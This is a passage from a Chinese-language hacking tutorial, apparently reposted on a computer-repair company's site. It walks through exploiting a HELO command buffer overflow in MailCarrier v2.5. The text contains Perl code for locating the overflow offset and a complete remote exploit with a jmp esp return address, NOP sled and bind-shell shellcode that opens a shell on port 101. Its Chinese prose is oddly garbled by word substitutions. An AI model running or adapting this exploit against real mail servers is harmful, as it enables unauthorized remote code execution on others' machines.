设为主页 | 加入收藏 | 繁體中文

菜鸟溢出手册


  print TEMP $buf;#将生成的原始buffer写入文件
  undef($buf);
  close TEMP;
  open(TEMP,"   my @buffer=;#全部读到buffer数组中
  close TEMP;
  my $buf='a';
  foreach(@buffer)
  {  chomp($_);
  s/[^5]/a/g;#将所有非5字符全部替换为a
  s/5{4}/$num x 4/e;#以下3行代码是将所有的5再按照1-9的次序替换
  if($_=~/7777/)#要是该行包罗“7777”
  {
  s/7{4}/$n x 4/e;#开始替换
  $n++;
  $n=1 if($n >9);
  if($_=~/7777/)
  {
  s/7{4}/$nn x 4/e;
  $nn++;
  $nn=1 if ($nn > 9);
  }
  else
  {s/\d/a/g;}
  }
  else
  {s/\d/a/g;}#要是不包罗7,则将非7字符替换为'a
  $num++;
  $num=1 if ($num >9);
  $buf.=$_;
  }
  undef $buffer;
  return $buf;
  }
  [Ctrl+A Select All]
  经过下面的代码孕育发生的buffer里面只有"1111"和"2222"数字字符串了,其它的全部都被替换成了'a'。我们再次溢出看看,如图八。
  现在EIP是“323232”了,这是生成的buffer中唯一值,经过它我们可以计算出溢出点来了。计算要领很多,实在经过下面的步骤我们完全可以口算出来。但为了方便我们依然可以用步伐来完成主动计算,如下:
  Code:
  sub cal
  {
  my $buf=shift;
  my $pos=index($buf,"2222");
  my $shell=substr($buf,0,$pos);
  return $shell;
  }
  [Ctrl+A Select All]
  把下面的代码放到我们的步伐中,然后我们在主步伐中添加如下代码“print length(&cal(&genbuf($str)));",length函数是用来获取长度的,然后运转我们的步伐看看。结果是5093,这个便是溢出点了,5093个字节的buffer后面便是返回地址了。我们验证一下吧,把下面的cal过程中的末了一句改为“return$shell."bbbb";“,然后把调用attack过程的语句修改如下:
  &attack(&cal(genbuf($str)),$host,$port);保存后,运转再次溢出看看。如图九。
  EIP里是不是”62626262“('b‘的16进制是0x62),这就验证了我们探求的溢出点是正确的。溢出点的定位告一段落。有些朋侪看万这一句有大概曾经头昏眼花了,实在我在高兴给大家讲解的是一个要领,我们完全可以将这个要领用步伐来进行完成的,这样就不难了。在光盘中曾经附带好了我写的完整溢出点定位东西了,大家可以间接拿来用的。
  二、返回地址
  溢出点确定好后,我们该考虑用什么来笼罩返回地址了。在这里我们用到了sunx的jmpesp东西,用它来探求jmp esp的地址。
  上图是我在kernel32.dll中查找的结果,我们这里选用的地址"\x29\x4c\xdf\x77"(便是图中的0x77df4c29,我们这里要把它们反过来)。这样我们的返回地址也搞定了。
  exploit出炉
  溢出点都确定出来了,下一步就应该是shellcode的编写了。实在shellcode编写是必要很多方面额知识的,写出一个好用的shellcode来也是不容易的。由于编写shellcode必要很多方面的知识,讲了也许会让大家一头雾水,反而结果不好。当前有机会我会细致给大家讲讲的,幸好现在网上有很多现成的shellcode,有些确实不错。我们这些菜鸟完全可以发挥我们的“拿来主义”精力,充实利用。我这里任意找了一个可以邦定101端口的简略shellcode,OK!万事俱备,就差我们的美满了。下面是完整的利用步伐:
  Code:
  #!/usr/bin/perl
  #mailcarrier HELO下令长途溢出步伐 by 孟方明〔-273℃〕
  $|=1;
  use IO::Socket;
  &usage if(@ARGV<1);
  my $host=shift;
  my $buffer='a' x 5093;
  $buffer.="\x29\x4c\xdf\x77";
  $buffer.="\x90" x 32;#为了确保实行到我们笼罩的jmpesp地址后能顺利实行到我们shellcode,我们每每会在shellcode前设一些NOP指令
  my $shellcode="\xEB".
  "\x0F\x58\x80\x30\x88\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF".
  "\xFF\x60\xDE\x88\x88\x88\xDB\xDD\xDE\xDF\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D".
  "\xF0\x89\x62\x03\xC2\x90\x03\xD2\xA8\x89\x63\x6B\xBA\xC1\x03\xBC\x03\x89\x66\xB9".
  "\x77\x74\xB9\x48\x24\xB0\x68\xFC\x8F\x49\x47\x85\x89\x4F\x63\x7A\xB3\xF4\xAC\x9C".
  "\xFD\x69\x03\xD2\xAC\x89\x63\xEE\x03\x84\xC3\x03\xD2\x94\x89\x63\x03\x8C\x03\x89".
  "\x60\x63\x8A\xB9\x48\xD7\xD6\xD5\xD3\x4A\x80\x88\xD6\xE2\xB8\xD1\xEC\x03\x91\x03".
  "\xD3\x84\x03\xD3\x94\x03\x93\x03\xD3\x80\xDB\xE0\x06\xC6\x86\x64\x77\x5E\x01\x4F".
  "\x09\x64\x88\x89\x88\x88\xDF\xDE\xDB\x01\x6D\x60\xAF\x88\x88\x88\x18\x89\x88\x88".
  "\x3E\x91\x90\x6F\x2C\x91\xF8\x61\x6D\xC1\x0E\xC1\x2C\x92\xF8\x4F\x2C\x25\xA6\x61".
  "\x51\x81\x7D\x25\x43\x65\x74\xB3\xDF\xDB\xBA\xD7\xBB\xBA\x88\xD3\x05\xC3\xA8\xD9".
  "\x77\x5F\x01\x57\x01\x4B\x05\xFD\x9C\xE2\x8F\xD1\xD9\xDB\x77\xBC\x07\x77\xDD\x8C".
  "\xD1\x01\x8C\x06\x6A\x7A\xA3\xAF\xDC\x77\xBF\x77\xDD\xB8\xB9\x48\xD8\xD8\xD8\xD8".
  "\xC8\xD8\xC8\xD8\x77\xDD\xA4\x01\x4F\xB9\x53\xDB\xDB\xE0\x8A\x88\x88\xED\x01\x68".
  "\xE2\x98\xD8\xDF\x77\xDD\xAC\xDB\xDF\x77\xDD\xA0\xDB\xDC\xDF\x77\xDD\xA8\x01\x4F".
  "\xE0\xCB\xC5\xCC\x88\x01\x6B\x0F\x72\xB9\x48\x05\xF4\xAC\x24\xE2\x9D\xD1\x7B\x23".
  "\x0F\x72\x09\x64\xDC\x88\x88\x88\x4E\xCC\xAC\x98\xCC\xEE\x4F\xCC\xAC\xB4\x89\x89".
  "\x01\xF4\xAC\xC0\x01\xF4\xAC\xC4\x01\xF4\xAC\xD8\x05\xCC\xAC\x98\xDC\xD8\xD9\xD9".
  "\xD9\xC9\xD9\xC1\xD9\xD9\xDB\xD9\x77\xFD\x88\xE0\xFA\x76\x3B\x9E\x77\xDD\x8C\x77".
  "\x58\x01\x6E\x77\xFD\x88\xE0\x25\x51\x8D\x46\x77\xDD\x8C\x01\x4B\xE0\x77\x77\x77".
  "\x77\x77\xBE\x77\x5B\x77\xFD\x88\xE0\xF6\x50\x6A\xFB\x77\xDD\x8C\xB9\x53\xDB\x77".
  "\x58\x68\x61\x63\x6B\x90";
  $buffer.=$shellcode;
  my $sock=IO::Socket::INET->new(PeerAddr=>$host,PeerPort=>25,Proto=>'tcp') || die "connected failed!\n";
  $sock->autoflush(1);
  my $res=<$sock>;
  print $res;
  print "Now starting sending special buffer...\n";
  print $sock "HELO $buffer\r\n";
  sleep 1;
  close $sock;
  print "Now trying to connect to remote port 101 ...\n";
  sleep 1;
  system("telnet $host 101");
  sub usage{
  print<<"EOF";
  MailCarrier v2.5 HELO command overflow exploit
  wrriten by 孟方明〔-273℃〕
  usage:
  perl $0
  if succeeded,you'll get a shell bind on remote port 101.
  EOF
  exit(0);
  }
  [Ctrl+A Select All]
  这便是一个完整的exploit其中我们在shellcode前加了32个NOP指令,NOP是一个空指令,当CPU碰到此指令后将什么也不做而继续往下实行。
  四、竣事语
  整个过程写完了,我以为这篇文章与以往的雷同文章相比差别的中央便是,我在高兴的带领大家一起一步一步去操纵。因此实际性的知识触及的很少,这方面大家可以从以往的文章中学习到。其中确定溢出点的要领我是很喜欢的,用步伐来完成黑白常容易的,要是大家必要的话可以从光盘中找到。OK,so much!see you next time!!
 


    文章作者: 福州军威计算机技术有限公司
    军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
    版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。

TAG:
评论加载中...
内容:
评论者: 验证码: